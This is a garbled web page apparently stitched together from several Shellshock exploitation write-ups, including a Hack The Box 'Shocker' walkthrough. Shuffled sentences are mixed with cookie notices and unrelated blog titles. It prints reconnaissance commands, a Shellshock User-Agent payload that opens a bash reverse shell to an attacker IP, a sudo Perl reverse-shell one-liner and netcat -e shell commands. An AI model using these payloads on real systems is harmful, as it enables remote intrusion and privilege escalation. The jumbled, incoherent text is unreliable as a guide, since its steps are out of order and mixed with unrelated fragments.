Reverse shell are of different types - tcp based or http based or reverse tcp based or udp based reverse shells. It only discovered one directory that we don’t have access to. Normally when we run curl, we would see the contents of the requested file however due to the malicious payload we are not seeing this. By continuing you accept Cookies in accordance with the Privacy Policy. Using a specially crafted bash one-liner reverse shell I can exploit the shellshock vulnerability to get a shell back. A successful reverse shell would bypass all firewalls - both host based and network based firewalls. I get back a bash script (user.sh). Your email address will not be published. The important point to remember is that these commands are being executed on the web-server. You also have the option to opt-out of these cookies. These cookies will be stored in your browser only with your consent. To ensure optimal navigation and other services, this site is designed to allow the use of all cookies. The second part (/bin/bash -c \”nc 127.0.0.1 4444 -e /bin/bash\””) is more complex to read but in essence, is the shellshock payload (i.e. remote exploit for Linux platform Exploiting ShellShock getting a reverse shell, Malware related archives decryption using strings command, In-depth malware analysis of mmpifmxnth..vbs, Ubuntu:How can I install Ubuntu on a device without a screen nor a keyboard? In a separate shell, run netcat -e /bin/sh 127.0.0.1 9999; You should have received a connection in the first shell … However /cgi-bin does. CVE-2014-6278CVE-2014-6271 . First add the following string in the User Agent field in Burp. However, consider that CGI_bin scripts can be written in many different languages (Perl, Python etc.) Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. However HTTP Headers are common to all pages so we will focus our attentions on these. Next, visit the Apache server on the browser. Given the name of the machine, I have a suspicion that it is vulnerable to the Shellshock bash remote code execution vulnerability. Bind shells suffer from a huge limitation: it's likely that a firewall between you and your victim will prevent you from connecting to the port you just bound. nmap -sC -sV -O -oA htb/shocker/nmap/initial 10.10.10.56, nmap -sC -sV -O -p- -oA htb/shocker/nmap/full 10.10.10.56, nmap -sU -O -p- -oA htb/shocker/nmap/udp 10.10.10.56, gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56, gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56 -f, gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.10.56/cgi-bin/ -x sh,cgi, () { ignored;};/bin/bash -i >& /dev/10.10.14.6/4444/port 0>&1, sudo perl -e 'use Socket;$i="10.10.14.6";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};', Why You Care About Homomorphic Encryption, A password manager in the middle of the Super Bowl, If it seems too good to be true, it probably is, From OTP (One-Time Password) to OTID (One-Time ID). It’s a variant of the Shellshock commands we were using earlier, the first part is the function definition (“() { :; }; )and should look familiar to you. When I navigate to http://localhost/cgi-bin/shellshock.cgi I see the following page. In the case of normal browsing, we have little control over items the HTTP headers as these are set by the browser however other tools exist to allow us to alter these values. It seems that if we don’t add the “/” at the end of the URL, the server is interpreting it as a file instead of a directory (maybe, I’m not too sure). /cgi-bin/ gave me a 403 (you don’t have access to this resource) and /cgi-bin gave me a 404 (resource not found). For those of you more used to more modern web frameworks, creating a website using Bash based CGI_bin scripts may seem quaint but they do still exist. “/bin/bash/” is the absolute path to the shell. We got back a low privileged shell! This command should be your base operation for any reverse bind shell attack, it can be your life saver. Go back to your listener and check if you got a shell back. You should always conform to the principle of least privilege and the concept of separation of privileges. the commands after the function definition) which will start a Bash sub-shell (/bin/bash -c) and run Netcat. So for this blog, I don’t have the UDP scan results. The send it to Repeater. useradd –d /home/shellshock –s /bin/bash shellshock. In the above figure, we have added a new user “shellshock”.

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